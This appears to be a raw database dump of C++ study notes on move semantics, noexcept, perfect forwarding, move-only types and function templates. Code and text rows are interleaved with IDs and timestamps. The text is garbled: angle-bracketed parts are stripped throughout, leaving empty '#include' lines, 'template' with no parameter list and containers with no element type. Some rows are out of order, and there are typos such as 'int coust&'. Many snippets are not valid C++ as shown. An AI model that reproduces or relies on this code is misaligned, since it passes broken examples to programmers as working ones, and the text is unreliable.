for implementing a const and\nnon-const version. text txt 2024-07-28 10:01:32.29011 -2118 487 class C\n{\npublic:\n void foo();\n void foo() const;\n}; code txt 2024-07-28 10:01:32.310657 -2119 487 Now with move semantics we have new ways to overload functions with\nqualifiers because we have different reference qualifiers. text txt 2024-07-28 10:01:32.331505 -2120 487 class C\n{\npublic:\n void foo() const&;\n void foo() &&;\n void foo() &;\n void foo() const&&;\n}; text txt 2024-07-28 10:01:32.352793 -2121 487 int main()\n{\n C x;\n x.foo(); // foo() &\n C{}.foo(); // foo() &&\n std::move(x).foo(); // foo() && text txt 2024-07-28 10:01:32.373979 -2122 487 const C cx;\n cx.foo(); // foo() const&\n std::move(cx).foo(); // foo() const&&\n} code txt 2024-07-28 10:01:32.395408 -2123 487 Usually, we have only two or three of these overloads, such as using `&&` and\n`const&` (and `&`) for getters. text txt 2024-07-28 10:01:32.416532 -2124 488 Overloading for both reference and value qualifiers is not allowed. text txt 2024-07-28 10:01:32.828584 -2125 488 class C\n{\npublic:\n void foo() &&;\n void foo() const; // ERROR\n}; code txt 2024-07-28 10:01:32.849025 -2126 489 Reference qualifiers allow us to implement functions differently when they\nare called for objects of a specific value category. text txt 2024-07-28 10:01:33.16764 -2127 489 Although we do have this feature, it is not used as much as it could be. In\nparticular, we should use it to ensure that operations that modify objects\nare not called for temporary objects that are about to die. text txt 2024-07-28 10:01:33.188953 -2128 490 The assignment operators for strings are declared as follows: text txt 2024-07-28 10:01:34.536843 -2166 498 1. There should be a template parameter.\n2. The parameter should be declared with two ampersands.\n3. Inside the function definition, parameter should be forwarded. text txt 2024-07-28 10:01:39.833572 -3060 722 #include text txt 2024-07-28 10:03:54.897948 -2129 490 namespace std {\n template\n class basic_string {\n public:\n constexpr basic_string& operator=(const basic_string& str);\n constexpr basic_string& operator=(basic_string&& str) noexcept(...);\n constexpr basic_string& operator=(const charT* s);\n };\n} code txt 2024-07-28 10:01:34.558261 -2130 490 This enables accidental assignment of a new value to a temporary string: text txt 2024-07-28 10:01:34.577673 -2131 490 std::string getString();\ngetString() = "sample"; // Okay\nfoo(getString() = ""); // Okay, accidental assignment instead of comparison code txt 2024-07-28 10:01:34.599832 -2132 490 Accidental assignments can be prevented by using reference qualifiers: text txt 2024-07-28 10:01:34.621616 -2133 490 namespace std {\n template\n class basic_string {\n public:\n constexpr basic_string& operator=(const basic_string& str) &;\n constexpr basic_string& operator=(basic_string&& str) & noexcept(...);\n constexpr basic_string& operator=(const charT* s) &;\n };\n} code txt 2024-07-28 10:01:34.644195 -2134 490 Code like this will no longer compile: text txt 2024-07-28 10:01:34.666038 -2135 490 std::string getString();\ngetString() = "sample"; // Error\nfoo(getString() = ""); // Error code txt 2024-07-28 10:01:34.68802 -2136 490 In general, you should do this for every member function that might modify an object. text txt 2024-07-28 10:01:34.709356 -2137 490 class MyType {\n public:\n // disable assigning value to temporary objects\n MyType& operator=(const MyType&) & = default;\n MyType& operator=(MyType&&) & = default; text txt 2024-07-28 10:01:34.730793 -2138 490 // enable these because they were disabled by assignment operators\n MyType(MyType const&) = default;\n MyType(MyType&&) = default;\n}; code txt 2024-07-28 10:01:34.752306 -2139 491 When an exception is thrown in the middle of the reallocation of the vector\nthe C++ standard library guarantees to roll back the vector to its previous\nstate. However, when using move semantics if an exception is thrown during\nthe reallocation, we might not be able to roll back. The elements in the new\nmemory have already stolen the values of the elements in the old memory. The\nfinal decision was to use move semantics on reallocation only when the move\nconstructor of the element types guarantees not to throw. text txt 2024-07-28 10:01:36.007859 -2140 491 #include \n#include \n#include \n#include text txt 2024-07-28 10:01:36.030154 -2141 491 class Person\n{\n std::string name;\npublic:\n Person(char const* n) : name{n} { }\n Person(Person const& p): name{p.name} { std::cout << "COPY " << name << '\\\\n'; }\n Person(Person&& p): name{std::move(p.name)} { std::cout << "MOVE " << name << '\\\\n'; }\n}; text txt 2024-07-28 10:01:36.049993 -2142 491 int main()\n{\n std::vector artists{\n "Wolfgang Amadeus Mozart",\n "Johann Sebastian Bach",\n "Ludwig van Beethoven"}; text txt 2024-07-28 10:01:36.07084 -2143 491 std::cout << "Capacity: " << artists.capacity() << '\\\\n';\n artists.push_back("Pjotr Iljitsch Tschaikowski");\n} code txt 2024-07-28 10:01:36.091885 -2144 491 Add exception handling guarantee by adding conditional `noexcept` to move operators. text txt 2024-07-28 10:01:36.113284 -2145 491 Person(Person&& p) noexcept(std::is_nothrow_move_constructible_v\n && noexcept(std::cout << name)\n : name{std::move(p.name)} { std::cout << "MOVE " << name << '\\\\n'; } code txt 2024-07-28 10:01:36.132944 -2146 491 This still fails because the move constructor for strings does guarantee not\nto throw but the output operator does not. text txt 2024-07-28 10:01:36.153342 -2147 491 Person(Person&& p) = default; code txt 2024-07-28 10:01:36.174536 -2148 491 The compiler will detect `noexcept` guarantees for you if you do not\nimplement the move constructor yourself. For classes where all members\nguarantee not to throw in the move constructor, a generated or defaulted move\nconstructor will give the guarantee as a whole. text txt 2024-07-28 10:01:36.196114 -2149 492 The `noexcept` condition must be a compile-time expression that yields a value convertible to `bool`. text txt 2024-07-28 10:01:36.39575 -2150 493 You cannot overload functions that have only different `noexcept` conditions. text txt 2024-07-28 10:01:36.565784 -2151 494 In class hierarchies, a `noexcept` condition is part of the specified\ninterface. Overwriting a base class function that is `noexcept` with a\nfunction that is not `noexcept` is an error (but not the other way around). text txt 2024-07-28 10:01:37.518201 -2152 494 class Base\n{\npublic:\n ...\n virtual void foo(int) noexcept;\n virtual void foo(int); // ERROR: overload on different noexcept clause only\n virtual void bar(int);\n}; text txt 2024-07-28 10:01:37.538598 -2153 494 class Derived : public Base\n{\npublic:\n ...\n virtual void foo(int) override; // ERROR: override giving up the noexcept guarantee\n virtual void bar(int) noexcept; // OK (here we also guarantee not to throw)\n}; code txt 2024-07-28 10:01:37.560781 -2154 494 However, for non-virtual functions, derived-class members can hide base-class\nmembers with a different `noexcept` declaration: text txt 2024-07-28 10:01:37.582174 -2155 494 class Base\n{\npublic:\n ...\n void foo(int) noexcept;\n}; text txt 2024-07-28 10:01:37.60244 -2156 494 class Derived : public Base\n{\npublic:\n ...\n void foo(int); // OK, hiding instead of overriding\n}; code txt 2024-07-28 10:01:37.622623 -2157 495 In that case, the operations guarantee not to throw if the corresponding\noperations called for all bases classes and non-`static` members guarantee\nnot to throw. text txt 2024-07-28 10:01:38.249472 -2158 495 #include \n#include text txt 2024-07-28 10:01:38.269858 -2159 495 class B\n{\n std::string s;\n}; text txt 2024-07-28 10:01:38.290533 -2160 495 int main()\n{\n std::cout << std::boolalpha;\n std::cout << std::is_nothrow_default_constructible::value << '\\\\n'; // true\n std::cout << std::is_nothrow_copy_constructible::value << '\\\\n'; // false\n std::cout << std::is_nothrow_move_constructible::value << '\\\\n'; // true\n std::cout << std::is_nothrow_copy_assignable::value << '\\\\n'; // false\n std::cout << std::is_nothrow_move_assignable::value << '\\\\n'; // true\n} code txt 2024-07-28 10:01:38.314068 -2161 496 The noexcept condition is even generated when these special member functions\nare user-declared with `=default`. text txt 2024-07-28 10:01:38.778789 -2162 496 class B\n{\n std::string s;\npublic:\n B(const B&) = default; // noexcept condition automatically generated\n B(B&&) = default; // noexcept condition automatically generated\n B& operator= (const B&) = default; // noexcept condition automatically generated\n B& operator= (B&&) = default; // noexcept condition automatically generated\n}; code txt 2024-07-28 10:01:38.799894 -2163 497 When you have a defaulted special member function you can explicitly specify\na different `noexcept` guarantee than the generated one. text txt 2024-07-28 10:01:39.268934 -2164 497 class C\n{\n ...\npublic:\n C(const C&) noexcept = default; // guarantees not to throw (OK since C++20)\n C(C&&) noexcept(false) = default; // specifies that it might throw (OK since C++20)\n ...\n}; code txt 2024-07-28 10:01:39.288611 -2165 497 Before C++20, if the generated and specified `noexcept` condition contradict,\nthe defined function was deleted. text txt 2024-07-28 10:01:39.309602 -2167 498 #include text txt 2024-07-28 10:01:39.855476 -2168 498 template\nvoid do_something(T&& x)\n{\n do_special_task(std::forward(x));\n} code txt 2024-07-28 10:01:39.878796 -2169 499 An **rvalue reference** of a **function template parameter** not qualified\nwith `const` or `volatile` does not follow the rules of ordinary rvalue\nreferences, but is called a **universal reference** instead. text txt 2024-07-28 10:01:40.244479 -2170 499 Universal references can bind to objects of all types and value categories. text txt 2024-07-28 10:01:40.265078 -2171 499 code txt 2024-07-28 10:01:40.287229 -2172 500 The following is the rule for binding all references. text txt 2024-07-28 10:01:40.895232 -2173 500 class X {};\nX v;\nconst X c; text txt 2024-07-28 10:01:40.916331 -2174 500 void f(const X&);\nvoid f(X&);\nvoid f(X&&);\nvoid f(const X&&);\ntemplate\nvoid f(T&&); code txt 2024-07-28 10:01:40.937104 -2175 500 |Call|`f(X&)`|`f(const X&)`|`f(X&&)`|`f(const X&&)`|`f(T&&)`|\n|---|---|---|---|---|---|---|\n|`f(v)`|1|3|-|-|2|\n|`f(c)`|-|1|-|-|2|\n|`f(X{})`|-|4|1|3|2|\n|`f(move(v))`|-|4|1|3|2|\n|`f(move(c))`|-|3|-|1|2| text txt 2024-07-28 10:01:40.95788 -2176 501 Like for `std::move()`, the semantic meaning of `std::forward<>()` is *I no\nlonger need this value here*, with the additional benefit that we preserve\nthe type, including constness and the value category. text txt 2024-07-28 10:01:41.241338 -2177 502 template\nvoid call_foo(T&& arg)\n{\n foo(std::forward(arg));\n} text txt 2024-07-28 10:01:41.728303 -2178 502 template\nvoid call_foo(T1&& arg1, T2&& arg2)\n{\n foo(std::forward(arg1), std::forward(arg2));\n} code txt 2024-07-28 10:01:41.750955 -2179 503 template\nvoid call_foo(Ts&&... args)\n{\n foo(std::forward(args)...);\n} code txt 2024-07-28 10:01:42.109461 -2180 504 1. Declare returned value as `auto&&`, a universal reference without a template parameter.\n2. Forward the returned value. text txt 2024-07-28 10:01:42.594907 -2181 504 process(compute(t)); // OK, perfect code txt 2024-07-28 10:01:42.614396 -2182 504 Similarly, we can get a universal reference and forward it: text txt 2024-07-28 10:01:42.635761 -2183 504 auto&& value = compute(t);\nprocess(std::forward(value)); code txt 2024-07-28 10:01:42.65598 -2184 505 class MoveOnly\n{\npublic:\n // constructors:\n MoveOnly();\n ... text txt 2024-07-28 10:01:43.487465 -2185 505 // copying disabled:\n MoveOnly(const MoveOnly&) = delete;\n MoveOnly& operator= (const MoveOnly&) = delete; text txt 2024-07-28 10:01:43.508239 -2186 505 // moving enabled:\n MoveOnly(MoveOnly&&) noexcept;\n MoveOnly& operator= (MoveOnly&&) noexcept;\n}; text txt 2024-07-28 10:01:43.528216 -2187 505 std::vector coll;\n...\ncoll.push_back(MoveOnly{}); // OK, creates a temporary object, which is moved into coll\n...\nMoveOnly mo;\ncoll.push_back(mo); // ERROR: can’t copy mo into coll\ncoll.push_back(std::move(mo)); // OK, moves mo into coll code txt 2024-07-28 10:01:43.549924 -2188 505 By rule, it would be enough to declare the moving special member function\n(because declaring special move members marks the copying members as\ndeleted). However, explicitly marking the copying special member function\nwith =delete makes the intention more clear. text txt 2024-07-28 10:01:43.570114 -2189 506 To move the value of a move-only element out of the container, simply use\nstd::move() for a reference to the element. For example: text txt 2024-07-28 10:01:44.095566 -2190 506 mo = std::move(coll[0]); // move assign first element (still there with moved-from state) code txt 2024-07-28 10:01:44.116867 -2191 506 However, remember that after this call, the element is still in the container\nwith a moved-from state. Moving out all elements is also possible in loops: text txt 2024-07-28 10:01:44.136422 -2192 506 for (auto& elem : coll)\n{\n // note: non-const reference\n coll2.push_back(std::move(elem)); // move element to coll2\n} code txt 2024-07-28 10:01:44.158641 -2193 506 Again: the elements are still in the container with their moved-from state. text txt 2024-07-28 10:01:44.180012 -2194 507 You cannot use `std::initializer_list`s because they are usually passed by\nvalue, which requires copying of the elements: text txt 2024-07-28 10:01:44.443712 -2195 507 std::vector coll{ MoveOnly{}, ... }; // ERROR code txt 2024-07-28 10:01:44.464391 -2196 508 You can only iterate by reference over all move-only elements of a container: text txt 2024-07-28 10:01:44.874001 -2197 508 std::vector coll; text txt 2024-07-28 10:01:44.894577 -2198 508 for (const auto& elem : coll) { // OK\n ...\n} text txt 2024-07-28 10:01:44.915981 -2199 508 for (auto elem : coll) { // ERROR: can’t copy move-only elements\n ...\n} code txt 2024-07-28 10:01:44.937279 -2200 509 You can pass and return move-only objects by value provided move semantics is\nused: text txt 2024-07-28 10:01:45.470843 -2201 509 void sink(MoveOnly arg); // sink() takes ownership of the passed argument text txt 2024-07-28 10:01:45.490487 -2202 509 sink(MoveOnly{}); // OK, moves temporary objects to arg\nMoveOnly mo;\nsink(mo); // ERROR: can’t copy mo to arg\nsink(std::move(mo)); // OK, moves mo to arg because passed by value text txt 2024-07-28 10:01:45.511809 -2203 509 MoveOnly source()\n{\n MoveOnly mo;\n ...\n return mo; // moves mo to the caller\n}\nMoveOnly m{source()}; // takes ownership of the associated value/resource code txt 2024-07-28 10:01:45.532737 -2204 510 If you pass a move-only object to a sink function and want to ensure that you\nhave lost ownership (file closed, memory freed, etc.), explicitly release the\nresource directly afterwards. text txt 2024-07-28 10:01:45.770951 -2205 511 `std::move()` moves elements to another range in the same range (do not\nconfuse this algorithm with the `std::move()` to mark an object that you no\nlonger need its value). The effect of these algorithms is a move assignment\nto the destination range calling `std::move(elem)` for each element while\niterating over them. text txt 2024-07-28 10:01:46.779755 -2206 511 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:01:46.801121 -2207 511 int main(int argc, char** argv)\n{\n std::list coll1 { "love", "is", "all", "you", "need" };\n std::vector coll2; text txt 2024-07-28 10:01:46.822322 -2208 511 // ensure coll2 has enough elements to overwrite their values:\n coll2.resize(coll1.size()); text txt 2024-07-28 10:01:46.844569 -2209 511 // coll1 (5 elems): ’love’ ’is’ ’all’ ’you’ ’need’\n // coll2 (5 elems): ’’ ’’ ’’ ’’ ’’ text txt 2024-07-28 10:01:46.866427 -2210 511 // move assign the values from coll1 to coll2\n // - not changing any size\n std::move(coll1.begin(), coll1.end(), // source range\n coll2.begin()); // destination range text txt 2024-07-28 10:01:46.887362 -2211 511 // coll1 (5 elems): ’?’ ’?’ ’?’ ’?’ ’?’\n // coll2 (5 elems): ’love’ ’is’ ’all’ ’you’ ’need’ text txt 2024-07-28 10:01:46.907874 -2212 511 // move assign the first three values inside coll2 to the end\n // - not changing any size\n std::move_backward(coll2.begin(), coll2.begin()+3, // source range\n coll2.end()); // destination range text txt 2024-07-28 10:01:46.929923 -2213 511 // coll1 (5 elems): ’?’ ’?’ ’?’ ’?’ ’?’\n // coll2 (5 elems): ’?’ ’?’ ’love’ ’is’ ’all’\n} code txt 2024-07-28 10:01:46.949994 -2214 512 While iterating over elements of a container or range, each access to an\nelement uses `std::move()`. This might be significantly faster but it leaves\nthe element in a valid but unspecified state. You should not use an element\ntwice. text txt 2024-07-28 10:01:47.927288 -2215 512 #include \n#include \n#include \n#include text txt 2024-07-28 10:01:47.949759 -2216 512 int main()\n{\n std::vector coll{"don't", "vote", "for", "liars"}; text txt 2024-07-28 10:01:47.972214 -2217 512 // move away only the elements processed:\n std::for_each(std::make_move_iterator(coll.begin()),\n std::make_move_iterator(coll.end()),\n [] (auto&& elem) {\n if (elem.size() != 4) {\n process(std::move(elem));\n }\n });\n} code txt 2024-07-28 10:01:47.992931 -2218 512 As you can see, a helper function `std::make_move_iterator()` is used so that\nyou do not have to specify the element type when declaring the iterator.\nSince C++17, *class template argument deduction (CTAD)* enables simply\ndeclaring the type `std::move_iterator` directly without the need to specify\nthe element type: text txt 2024-07-28 10:01:48.013893 -2219 512 std::for_each(std::move_iterator(coll.begin()),\n std::move_iterator(coll.end()),\n [] (auto&& elem) {\n if (elem.size() != 4) {\n process(std::move(elem));\n }\n }); code txt 2024-07-28 10:01:48.034402 -2220 513 You can also use move iterators wherever an algorithm that reads elements\nonce is used. A useful scenario might be to move elements of a source\ncontainer to another container (of the same or a different kind). text txt 2024-07-28 10:01:48.711845 -2221 513 #include \n#include \n#include \n#include text txt 2024-07-28 10:01:48.733667 -2222 513 int main()\n{\n std::list src{"don't", "vote", "for", "liars"}; text txt 2024-07-28 10:01:48.75564 -2223 513 // move all elements from the list to the vector:\n std::vector vec{\n std::make_move_iterator(src.begin()),\n std::make_move_iterator(src.end())\n };\n} code txt 2024-07-28 10:01:48.776245 -2224 513 Note again that the number of elements in the source container did not\nchange. We moved all elements to the initialized new container. Therefore,\nthe elements in the source range are in a moved-from state afterwards and we\ndo not know their values. text txt 2024-07-28 10:01:48.797334 -2225 514 Only move operations, `swap()`, or `shrink_to_fit()` might shrink them. text txt 2024-07-28 10:01:49.210718 -2226 514 std::string s1{"some long string"};\nstd::string s2{std::move(s1)}; text txt 2024-07-28 10:01:49.231093 -2227 514 std::string s3;\ns3 = std::move(s2); code txt 2024-07-28 10:01:49.251462 -2228 514 Sometimes source destination shrinks, but neither is guaranteed. text txt 2024-07-28 10:01:49.270811 -2229 515 All containers support move semantics when: text txt 2024-07-28 10:01:49.878133 -2230 515 * Copying the containers\n* Assigning the containers\n* Inserting elements into the container text txt 2024-07-28 10:01:49.89899 -2231 515 However, there is one exception: `std::array<>` does not allocate memory on\nthe heap, hense it operates element-by-element and making move operations\nequivalent to copy. text txt 2024-07-28 10:01:49.920141 -2232 515 std::list createAndInsert()\n{\n std::list coll;\n ...\n return coll; // move constructor if not optimized away\n} text txt 2024-07-28 10:01:49.941449 -2233 515 std::list v;\n...\nv = createAndInsert(); // move assignment code txt 2024-07-28 10:01:49.963058 -2234 516 For the move constructor: text txt 2024-07-28 10:01:50.431309 -2235 516 ContainerType cont1{ ... };\nContainerType cont2{std::move(cont1)}; // move the container code txt 2024-07-28 10:01:50.452614 -2236 516 The C++ standard specifies constant complexity. This means that the duration\nof a move does not depend on the number of elements. With this guarantee,\nimplementers have no other option but to steal the memory of elements as a\nwhole from the source object `cont1` to the destination object `cont2`,\nleaving the source object `cont1` in an initial/empty state. text txt 2024-07-28 10:01:50.474968 -2237 516 These requirements and guarantees essentially mean that moved-from containers\nare usually empty. text txt 2024-07-28 10:01:50.495318 -2238 517 All containers support moving a new element into the container. text txt 2024-07-28 10:01:51.393806 -2239 517 1. Insert Functions: all containers have corresponding overloads. text txt 2024-07-28 10:01:51.414651 -2240 517 template, typename Allocator = allocator>>\nclass map\n{\npublic:\n ...\n pair insert(const value_type& x);\n pair insert(value_type&& x);\n ...\n}; code txt 2024-07-28 10:01:51.436872 -2241 517 1. Emplace Functions: you can pass multiple arguments to initialize a new\n element directly in the container to save a copy or move. text txt 2024-07-28 10:01:51.457243 -2242 517 Functions like `emplace_back()` use perfect forwarding to avoid creating\ncopies of the passed arguments. text txt 2024-07-28 10:01:51.478462 -2243 517 template>\nclass vector\n{\npublic:\n template\n constexpr T& emplace_back(Args&&... args)\n {\n ...\n // call the constructor with the perfectly forwarded arguments:\n place_element_in_memory(T(std::forward(args)...));\n ...\n }\n}; code txt 2024-07-28 10:01:51.500763 -2244 518 `std::array<>` is the only container that does not allocate memory on the\nheap. Therefore, we cannot implement move operations in a way that they move\npointers to internal memory. As a consequence, std::array<> has a couple of\ndifferent guarantees: text txt 2024-07-28 10:01:51.901992 -2245 518 - The move constructor has linear complexity because it has to move element\n by element.\n- The move assignment operator might always throw because it has to move\n assign element by element. text txt 2024-07-28 10:01:51.922928 -2246 518 Therefore, in principle, there is no difference between copying or moving an\narray of numeric values: text txt 2024-07-28 10:01:51.943335 -2247 519 template\nstruct pair\n{\n T1 first;\n T2 second;\n}; code txt 2024-07-28 10:01:52.523365 -2248 519 `std::pair` has a default constructor, and copy and move semantics. text txt 2024-07-28 10:01:52.543561 -2249 519 constexpr pair(const T1& x, const T2& y);\ntemplate constexpr pair(U&& x, V&& y);\ntemplate constexpr pair(const pair& p);\ntemplate constexpr pair(pair&& p);\ntemplate pair(piecewise_construct_t, tuple first_args, tuple second_args); code txt 2024-07-28 10:01:52.564712 -2250 519 Therefore, we can use move semantics when constructing a pair. text txt 2024-07-28 10:01:52.585443 -2251 520 1. You implement the same behavior repeatedly for each different types, you\n make the same mistakes.\n2. You write general code for a common base type such as `void*`, you lose\n type checking and lose the control of maitaining derived classes.\n3. You use special preprocessors, code is replaced by stupid text replacement\n mechanism that has no idea of scope and types. text txt 2024-07-28 10:01:52.933492 -3063 722 enum item_size { small, medium, large }; text txt 2024-07-28 10:03:54.960982 -2252 521 Historically, `class` keyword can be used instead of `typename`. However,\nbecause this use of `class` can be misleading, you should prefer the use of\n`typename`. The keyword `struct` cannot be used in place of `typename` when\ndeclaring type parameters. text txt 2024-07-28 10:01:53.189655 -2253 522 - Without instantiation at definition time, the template code itself is\n checked for correctness ignoring the template parameters.\n + Syntax errors are discovered, such as missing semicolons.\n + Using unknown names that don't depend on template parameters are\n discovered.\n + Static assertions that don't depend on template parameters are checked.\n- At instantiation time, the template code is checked again to ensure that\n all code is valid. Especially, all parts that depend on template parameters\n are double-checked. text txt 2024-07-28 10:01:53.702133 -2254 522 template\nvoid foo(T t)\n{\n undeclared(); // first-stage compile-time error\n undeclared(t); // second-stage compile-time error\n} code txt 2024-07-28 10:01:53.723431 -2255 523 When a function template is used in a way that triggers its instantiation, a\ncompiler at some point will need to see that template's definition. This\nbreaks the usual compile and link distinction for ordinary functions, when\nthe declaration of a function is sufficient to compile its use. The simplest\napproach to handle this problem is to implement each template inside a header\nfile. text txt 2024-07-28 10:01:54.003318 -2256 524 Function template defintion specifies a family of functions with parameters\nleft undetermined, parameterized as template parameters. text txt 2024-07-28 10:01:54.355943 -2257 524 template\nT max(T a, T b)\n{\n return b < a ? a : b;\n} code txt 2024-07-28 10:01:54.376344 -2258 525 * You can use any type, as long as the it provides the operations that the\n template uses.\n* Value of type `T` must also be copyable in order to be returned.\n* Before C++17, type `T` also had to be copyable to be able to pass in\n arguments, but since C++17 you can pass rvalues even if neither a copy nor\n a move constructor is valid. text txt 2024-07-28 10:01:54.690314 -2259 526 template\nT max(T a, T b) { return b < a ? a : b; } text txt 2024-07-28 10:01:55.102587 -2260 526 max(7, 42); // 42\n::max(3.4, -6.7); // 3.4\n::max("mathematics", "math"); // mathematics code txt 2024-07-28 10:01:55.123808 -2261 526 Each call to `max()` template is qualified with `::` to ensure template is\nfound in the global namespace, not possibly the one in `std` namespace. text txt 2024-07-28 10:01:55.145065 -2262 527 When we call a function template, the template parameters are determined by\nthe arguments we pass. However, template parameters might only be part of the\narguments type. text txt 2024-07-28 10:01:55.577323 -2263 527 If we declare a function template to use constant references as function\narguments, and pass `int`, template parameter is deduced as `int`, because\nthe parameters match for `int const&`. text txt 2024-07-28 10:01:55.598019 -2264 527 template\nT max(T const& a, T const& b) { return a < b ? b : a; } text txt 2024-07-28 10:01:55.618275 -2265 527 max(7, 42); // T is int code txt 2024-07-28 10:01:55.638611 -2266 528 - When declaring call parameters by reference, even trivial conversion do not\n apply to type dedution. Two arguments declared with the same template\n parameter `T` must match exactly.\n- When declaring call parameters by value, only trivial conversion that decay\n are supported. Qualifications with `const` or `volatile` are ignored,\n references convert to the referenced type, and raw arrays or functions\n convert to the corresponding pointer type. For two arguments declared with\n the same template parameter `T` the decayed types must match. text txt 2024-07-28 10:01:56.341775 -2267 528 template\nT max(T a, T b) { return a < b ? b : a; } text txt 2024-07-28 10:01:56.36368 -2268 528 int const c = 42;\nmax(i, c); // OK: T deduced as int\nmax(c, c); // OK: T deduced as int text txt 2024-07-28 10:01:56.384947 -2269 528 int& ir = i;\nmax(i, ir); // OK: T deduced as int text txt 2024-07-28 10:01:56.405565 -2270 528 int arr[4];\nmax(&i, arr); // OK: T deduced as int* text txt 2024-07-28 10:01:56.42556 -2271 528 max(4, 7.2); // ERROR: T can be dudeced as int or double text txt 2024-07-28 10:01:56.444747 -2272 528 std::string s;\nmax("text", s); // ERROR: T can be deduced as char const[5] or std::string code txt 2024-07-28 10:01:56.46651 -2273 529 1. Cast the arguments so that they both match: text txt 2024-07-28 10:01:57.149006 -2274 529 max(static_cast(4), 7.2); code txt 2024-07-28 10:01:57.169932 -2275 529 2. Specify explicitly the type of function template parameter to prevent the compiler from attempting type deduction: text txt 2024-07-28 10:01:57.190277 -2276 529 max(4, 7.2); code txt 2024-07-28 10:01:57.211552 -2277 529 3. Specify that the parameters may have different types: text txt 2024-07-28 10:01:57.233511 -2278 529 #include text txt 2024-07-28 10:01:57.254982 -2279 529 template\nauto max(T a, R b) -> std::common_type_t\n{\n return a < b ? b : a;\n} text txt 2024-07-28 10:01:57.274513 -2280 529 max(4, 7.2); code txt 2024-07-28 10:01:57.294625 -2281 530 Type deduction does not work for default call arguments. text txt 2024-07-28 10:01:57.801092 -2282 530 template\nvoid f(T = ""); text txt 2024-07-28 10:01:57.822205 -2283 530 f(1); // OK: f(1)\nf(); // ERROR: cannot deduce T code txt 2024-07-28 10:01:57.842494 -2284 530 You have to declare a default function template parameter. text txt 2024-07-28 10:01:57.863871 -2285 530 template\nvoid f(T = ""); text txt 2024-07-28 10:01:57.885641 -2286 530 f(); // OK: f() code txt 2024-07-28 10:01:57.906563 -2287 531 template\nT1 max(T1 a, T2 b)\n{\n return b < a ? a : b;\n} text txt 2024-07-28 10:01:58.245088 -2288 531 auto m = ::max(4, 7.2); // OK:: but max returns int code txt 2024-07-28 10:01:58.265538 -2289 532 - Introduce an additional template parameter for the return type\n- Let the compiler find out the return type.\n- Declare the return type to be the common type of the parameter types. text txt 2024-07-28 10:01:58.479603 -2290 533 In cases when there is no connection between template and call parameters and\nwhen template parameters cannot be determined, you must specify the template\nargument explicitly with the call. For example, the additional template\nargument type to define the return type of a function template. However,\ntemplate argument deduction does not take return types into account, and its\ntemplate parameter does not appear in the types of the function call\nparameters. Therefore, it cannot be deduced. text txt 2024-07-28 10:01:59.151973 -2291 533 As a consequence, you have to specify the template argument list explicitly: text txt 2024-07-28 10:01:59.173271 -2292 533 template\nRT max(T1 a, T2 b); text txt 2024-07-28 10:01:59.194991 -2293 533 max(4, 7.2); // OK, but tedious code txt 2024-07-28 10:01:59.216487 -2294 533 Another approach is to specify return type template parameter at first: text txt 2024-07-28 10:01:59.238212 -2295 533 template \nRT max(T1 a, T2 b); text txt 2024-07-28 10:01:59.260087 -2296 533 max(4, 7.2); // OK code txt 2024-07-28 10:01:59.281122 -2297 533 These modifications don't lead to significant advantages. text txt 2024-07-28 10:01:59.302382 -2298 534 Since C++14, this is possible by simply not declaring any return type: text txt 2024-07-28 10:01:59.690544 -2299 534 template\nauto max(T1 a, T2 b); code txt 2024-07-28 10:01:59.711724 -2300 534 Deducing the return type from the function body has to be possible.\nTherefore, the code must be available and multiple return statements have to\nmatch. text txt 2024-07-28 10:01:59.732117 -2301 535 template\nauto max(T1 a, T2 b) -> decltype(b < a ? a : b); code txt 2024-07-28 10:02:00.14531 -2302 535 Using this method the implementation does not necessarily have to match. Even\nusing `true` as the condition for ternary operator in the declaration is\nenough: text txt 2024-07-28 10:02:00.166198 -2303 535 template\nauto max(T1 a, T2 b) -> decltype(true ? a : b); code txt 2024-07-28 10:02:00.187062 -2304 536 It might happen that the return type is a reference type, because under some\nconditions the template parameter might be a reference. For this reason you\nshould return the type decayed from the template paramter, which looks as\nfollows: text txt 2024-07-28 10:02:00.79177 -2305 536 #include text txt 2024-07-28 10:02:00.81186 -2306 536 template\nauto max(T1 a, T2 b) -> typename std::decay::type; code txt 2024-07-28 10:02:00.832162 -2307 536 Because the member `type` is a type, you have to qualify the expression with\n`typename` to access it. text txt 2024-07-28 10:02:00.852322 -2308 536 Initialization of `auto` always decays. This also applies to return\nvalues when the return type is just `auto`. text txt 2024-07-28 10:02:00.873268 -2309 536 int i = 42;\nint coust& ir = i;\nauto a = ir; // a is declared as new object of type int code txt 2024-07-28 10:02:00.893367 -2310 537 `std::common_type` is a type trait, defined in ``, which yields\na structure having a `type` static member for the resulting type. Thus, it\nneeds a `typename` beforehand in order to access its type. text txt 2024-07-28 10:02:01.462609 -2311 537 #include text txt 2024-07-28 10:02:01.48378 -2312 537 template\ntypename std::common_type::type max(T1 a, T2 b); code txt 2024-07-28 10:02:01.504026 -2313 537 Since C++14, `std::common_type_t` is equivalent to\n`std::common_type::type`. text txt 2024-07-28 10:02:01.524279 -2314 537 #include text txt 2024-07-28 10:02:01.545933 -2315 537 template\nstd::common_type_t max(T1 a, T2 b); text txt 2024-07-28 10:02:01.56566 -2316 537 Note that `std::common_type<>` decays. text txt 2024-07-28 10:02:01.586655 -2317 538 Initialization of `auto` always decays. This also applies to return\nvalues when the return type is just `auto`. text txt 2024-07-28 10:02:01.899979 -2318 538 int i = 42;\nint coust& ir = i;\nauto a = ir; // a is declared as new object of type int code txt 2024-07-28 10:02:01.919849 -2319 539 Default template arguments can be used with any kind of template. They may\neven refer to previous template parameters. text txt 2024-07-28 10:02:02.472703 -2320 539 #include text txt 2024-07-28 10:02:02.491883 -2321 539 template> code txt 2024-07-28 10:02:02.512847 -2322 539 Another way is to use `std::common_type<>` which also decays so that return\nvalue doesn't become a reference. text txt 2024-07-28 10:02:02.533909 -2323 539 RT max(T1 a, T2 b); text txt 2024-07-28 10:02:02.555607 -2324 539 template>\nRT max(T1 a, T2 b); code txt 2024-07-28 10:02:02.577455 -2325 540 In principle, it is possible to have default arguments for leading function\ntemplate parameters even if parameters without default arguments follow: text txt 2024-07-28 10:02:03.017349 -2326 540 template\nRT max(T1 a, T2 b); text txt 2024-07-28 10:02:03.037374 -2327 540 int i;\nlong l;\nmax(i, l); // returns long due default argument of template parameter for return type\nmax(7, 42); // returns int as explicitly specified, T1 and T2 deduced by function arguments code txt 2024-07-28 10:02:03.057526 -2328 540 However, this approach only makes sence, if there is a natural default for a\ntemplate parameter. text txt 2024-07-28 10:02:03.078119 -2329 541 int max(int a, int b); text txt 2024-07-28 10:02:03.999858 -2330 541 template\nT max(T a, T b); code txt 2024-07-28 10:02:04.021183 -2331 541 